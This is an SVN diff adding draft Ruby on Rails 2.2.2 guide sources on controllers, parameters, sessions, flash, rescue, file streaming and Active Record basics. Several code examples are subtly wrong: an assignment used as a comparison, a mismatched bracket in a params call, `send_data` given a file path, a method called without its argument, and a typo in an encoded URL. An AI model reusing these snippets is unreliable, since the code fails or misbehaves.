Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/parameter_filtering.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/parameter_filtering.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+== Parameter Filtering ==
+
+Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
+
+[source, ruby]
+-------------------------
+class ApplicationController < ActionController::Base
+
+  filter_parameter_logging :password
+
+end
+-------------------------
+
+The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/params.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/params.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/params.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,93 @@
+== Parameters ==
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
+
+[source, ruby]
+-------------------------------------
+class ClientsController < ActionController::Base
+
+  # This action uses query string parameters because it gets run by a HTTP 
+  # GET request, but this does not make any difference to the way in which 
+  # the parameters are accessed. The URL for this action would look like this 
+  # in order to list activated clients: /clients?status=activated
+  def index
+    if params[:status] = "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.unativated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming from an HTML
+  # form which the user has submitted. The URL for this RESTful request will
+  # be "/clients", and the data will be sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which would have been
+      # to render the "create" view.
+      render :action => "new"
+    end
+  end
+
+end
+-------------------------------------
+
+=== Hash and Array Parameters ===
+
+The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:
+
+-------------------------------------
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+-------------------------------------
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+-------------------------------------
+<form action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+-------------------------------------
+
+The value of `params[:client]` when this form is submitted  will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
+
+Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.
+
+=== Routing Parameters ===
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+[source, ruby]
+------------------------------------
+# ...
+map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
+# ...
+------------------------------------
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index".
+
+=== `default_url_options` ===
+
+You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller:
+
+------------------------------------
+class ApplicationController < ActionController::Base
+
+  #The options parameter is the hash passed in to +url_for+
+  def default_url_options(options)
+    {:locale => I18n.locale}
+  end
+
+end
+------------------------------------
+
+These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/request_response_objects.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/request_response_objects.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/request_response_objects.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+== The +request+ and +response+ Objects ==
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client.
+
+=== The +request+ Object ===
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are:
+
+ * host - The hostname used for this request.
+ * domain - The hostname without the first segment (usually "www").
+ * format - The content type requested by the client.
+ * method - The HTTP method used for the request.
+ * get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
+ * headers - Returns a hash containing the headers associated with the request.
+ * port - The port number (integer) used for the request.
+ * protocol - The protocol used for the request.
+ * query_string - The query string part of the URL - everything after "?".
+ * remote_ip - The IP address of the client.
+ * url - The entire URL used for the request.
+
+==== +path_parameters+, +query_parameters+ and +request_parameters+ ====
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+=== The +response+ Object ===
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+ * body - This is the string of data being sent back to the client. This is most often HTML.
+ * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
+ * location - The URL the client is being redirected to, if any.
+ * content_type - The content type of the response.
+ * charset - The character set being used for the response. Default is "utf8".
+ * headers - Headers used for the response.
+
+==== Setting Custom Headers ====
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value:
+
+[source, ruby]
+-------------------------------------
+response.headers["Content-Type"] = "application/pdf"
+-------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/rescue.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/rescue.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/rescue.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,67 @@
+== Rescue ==
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+=== The Default 500 and 404 Templates ===
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+=== `rescue_from` ===
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object.
+
+Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them.
+
+[source, ruby]
+-----------------------------------
+class ApplicationController < ActionController::Base
+
+  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+
+  def record_not_found
+    render :text => "404 Not Found", :status => 404
+  end
+
+end
+-----------------------------------
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+[source, ruby]
+-----------------------------------
+class ApplicationController < ActionController::Base
+
+  rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+
+  def user_not_authorized
+    flash[:error] = "You don't have access to this section."
+    redirect_to :back
+  end
+
+end
+
+class ClientsController < ApplicationController
+
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+private
+
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+
+end
+-----------------------------------
+
+NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/session.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/session.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/session.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,187 @@
+== Session ==
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+ * CookieStore - Stores everything on the client.
+ * DRbStore - Stores the data on a DRb server.
+ * MemCacheStore - Stores the data in a memcache.
+ * ActiveRecordStore - Stores the data in a database using Active Record.
+
+All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).
+
+Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.
+
+Read more about session storage in the link:../security.html[Security Guide].
+
+If you need a different session storage mechanism, you can change it in the `config/environment.rb` file:
+
+[source, ruby]
+------------------------------------------
+# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
+config.action_controller.session_store = :active_record_store
+------------------------------------------
+
+=== Disabling the Session ===
+
+Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller:
+
+[source, ruby]
+------------------------------------------
+class ApplicationController < ActionController::Base
+  session :off
+end
+------------------------------------------
+
+You can also turn the session on or off for a single controller:
+
+[source, ruby]
+------------------------------------------
+# The session is turned off by default in ApplicationController, but we
+# want to turn it on for log in/out.
+class LoginsController < ActionController::Base
+  session :on
+end
+------------------------------------------
+
+Or even for specified actions:
+
+[source, ruby]
+------------------------------------------
+class ProductsController < ActionController::Base
+  session :on, :only => [:create, :update]
+end
+------------------------------------------
+
+=== Accessing the Session ===
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
+
+Session values are stored using key/value pairs like a hash:
+
+[source, ruby]
+------------------------------------------
+class ApplicationController < ActionController::Base
+
+private
+
+  # Finds the User with the ID stored in the session with the key :current_user_id
+  # This is a common way to handle user login in a Rails application; logging in sets the
+  # session value and logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
+  end
+
+end
+------------------------------------------
+
+To store something in the session, just assign it to the key like a hash:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username, params[:password])
+      # Save the user ID in the session so it can be used in subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+
+end
+------------------------------------------
+
+To remove something from the session, assign that key to be `nil`:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    session[:current_user_id] = nil
+    redirect_to root_url
+  end
+
+end
+------------------------------------------
+
+To reset the entire session, use `reset_session`.
+
+=== The flash ===
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out"
+    redirect_to root_url
+  end
+
+end
+------------------------------------------
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+------------------------------------------
+<html>
+  <!-- <head/> -->
+  <body>
+    <% if flash[:notice] -%>
+      <p class="notice"><%= flash[:notice] %></p>
+    <% end -%>
+    <% if flash[:error] -%>
+      <p class="error"><%= flash[:error] %></p>
+    <% end -%>
+    <!-- more content -->
+  </body>
+</html>
+------------------------------------------
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+[source, ruby]
+------------------------------------------
+class MainController < ApplicationController
+
+  # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
+  # UsersController#index. If an action sets the flash and redirects here, the values would normally be
+  # lost when another redirect happens, but you can use keep to make it persist for another request.
+  def index
+    flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
+    redirect_to users_url
+  end
+
+end
+------------------------------------------
+
+==== +flash.now+ ====
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+[source, ruby]
+------------------------------------------
+class ClientsController < ApplicationController
+
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render :action => "new"
+    end
+  end
+
+end
+------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/streaming.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/streaming.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/streaming.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,91 @@
+== Streaming and File Downloads ==
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+[source, ruby]
+----------------------------
+require "prawn"
+class ClientsController < ApplicationController
+
+  # Generate a PDF document with information on the client and return it.
+  # The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
+  end
+
+private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align => :center
+      text "Address: #{client.address}"
+      text "Email: #{client.email}"
+    end.render
+  end
+
+end
+----------------------------
+
+The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
+
+=== Sending Files ===
+
+If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.
+
+[source, ruby]
+----------------------------
+class ClientsController < ApplicationController
+
+  # Stream a file that has already been generated and stored on disk
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
+  end
+
+end
+----------------------------
+
+This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+=== RESTful Downloads ===
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+[source, ruby]
+----------------------------
+class ClientsController < ApplicationController
+
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf{ render :pdf => generate_pdf(@client) }
+    end
+  end
+
+end
+----------------------------
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+[source, ruby]
+----------------------------
+Mime::Type.register "application/pdf", :pdf
+----------------------------
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+----------------------------
+GET /clients/1.pdf
+----------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/verification.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/verification.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/verification.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+== Verification ==
+
+Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter".
+
+Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
+
+[source, ruby]
+---------------------------------------
+class LoginsController < ApplicationController
+
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {:error => "Username and password required to log in"}
+
+  def create
+    @user = User.authenticate(params[:username], params[:password])
+    if @user
+      flash[:notice] = "You're logged in"
+      redirect_to root_url
+    else
+      render :action => "new"
+    end
+  end
+
+end
+---------------------------------------
+
+Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter:
+
+[source, ruby]
+---------------------------------------
+class LoginsController < ApplicationController
+
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {:error => "Username and password required to log in"},
+         :only => :create # Only run this verification for the "create" action
+
+end
+---------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/active_record_basics.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/active_record_basics.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/active_record_basics.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,181 @@
+Active Record Basics
+====================
+
+Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord.
+
+After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer.
+
+== ORM The Blueprint of Active Record
+
+If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping” and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described.
+
+== Active Record The Engine of Rails
+
+Active Record is a design pattern used to access data within a database. The name “Active Record” was coined by Martin Fowler in his book “Patterns of Enterprise Application Architecture”. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model. 
+
+The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level.
+
+By following a few simple conventions the Rails Active Record will automatically map between:
+
+* Classes & Database Tables
+* Class attributes & Database Table Columns
+
+=== Rails Active Record Conventions
+Here are the key conventions to consider when using Active Record.
+
+==== Naming Conventions
+Database Table - Plural with underscores separating words i.e. (book_clubs)
+Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) 
+Here are some additional Examples:
+
+[grid="all"]
+`-------------`---------------
+Model / Class Table / Schema
+----------------------------
+Post          posts
+LineItem      line_items
+Deer          deer
+Mouse         mice
+Person        people
+----------------------------
+
+==== Schema Conventions
+
+To take advantage of some of the magic of Rails database tables must be modeled 
+to reflect the ORM decisions that Rails makes.
+
+[grid="all"]
+`-------------`---------------------------------------------------------------------------------
+Convention
+-------------------------------------------------------------------------------------------------
+Foreign keys  These fields are named table_id i.e. (item_id, order_id)
+Primary Key   Rails automatically creates a primary key column named "id" unless told otherwise.
+-------------------------------------------------------------------------------------------------
+
+==== Magic Field Names
+
+When these optional fields are used in your database table definition they give the Active Record
+instance additional features. 
+
+NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword
+used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous 
+keyword like "context", that may still accurately describe the data you are modeling.
+
+[grid="all"]
+`------------------------`------------------------------------------------------------------------------
+Attribute                 Purpose
+------------------------------------------------------------------------------------------------------
+created_at / created_on  Rails stores the current date & time to this field when creating the record.
+updated_at / updated_on  Rails stores the current date & time to this field when updating the record.
+lock_version             Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking].
+type                     Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI].
+id                       All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods.
+_table_name_\_count       Can be used to caches the number of belonging objects on the associated class.
+------------------------------------------------------------------------------------------------------
+
+By default rails assumes all tables will use “id” as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to.
+
+For example suppose you created a database table called cars:
+
+[source, sql]
+-------------------------------------------------------
+mysql> CREATE TABLE cars (
+         id INT,
+         color VARCHAR(100),
+         doors INT,
+         horses INT,
+         model VARCHAR(100)
+       );
+-------------------------------------------------------
+
+Now you created a class named Car, which is to represent an instance of a record from your table. 
+
+[source, ruby]
+------------------------------------------------------- 
+class Car
+end
+-------------------------------------------------------
+
+As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships.
+
+[source, ruby]
+-------------------------------------------------------
+>> c = Car.new
+=> #<Class:0x11e1e90>
+>> c.doors
+NoMethodError: undefined method `doors' for #<Class:0x11e1e90>
+        from (irb):2
+-------------------------------------------------------
+
+Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API: 
+“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.”
+Lets try our Car class again, this time inheriting from ActiveRecord.
+
+[source, ruby]
+-------------------------------------------------------
+class Car < ActiveRecord::Base
+end
+-------------------------------------------------------
+
+Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example.
+
+[source, ruby]
+-------------------------------------------------------
+>> c = Car.new
+=> #<Car id: nil, doors: nil, color: nil, horses: nil, model: nil>
+>> c.doors
+=> nil
+-------------------------------------------------------
+
+Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations.
+- Associations between objects controlled by meta-programming macros.
+
+== Philosophical Approaches & Common Conventions
+Rails has a reputation of being a zero-config  framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configuration”, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Rails”. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord
+
+== ActiveRecord Magic
+ - timestamps
+ - updates
+
+== How ActiveRecord Maps your Database.
+- sensible defaults
+- overriding conventions
+
+== Growing Your Database Relationships Naturally
+
+== Attributes
+ - attribute accessor method. How to override them?
+ - attribute?
+ - dirty records
+ - 
+== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord
+
+== Validations & Callbacks
+- Validations
+    *  create!
+    * validates_acceptance_of
+    * validates_associated
+    * validates_confirmation_of
+    * validates_each
+    * validates_exclusion_of
+    * validates_format_of
+    * validates_inclusion_of
+    * validates_length_of
+    * validates_numericality_of
+    * validates_presence_of
+    * validates_size_of
+    * validates_uniqueness_of
+ - Callback
+    * (-) save
+    * (-) valid
+    * (1) before_validation
+    * (2) before_validation_on_create
+    * (-) validate
+    * (-) validate_on_create
+    * (3) after_validation
+    * (4) after_validation_on_create
+    * (5) before_save
+    * (6) before_create
+    * (-) create
+    * (7) after_create
+    * (8) after_save

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/activerecord_validations_callbacks.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/activerecord_validations_callbacks.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/activerecord_validations_callbacks.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,404 @@
+Active Record Validations and Callbacks
+=======================================
+
+This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.
+
+After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
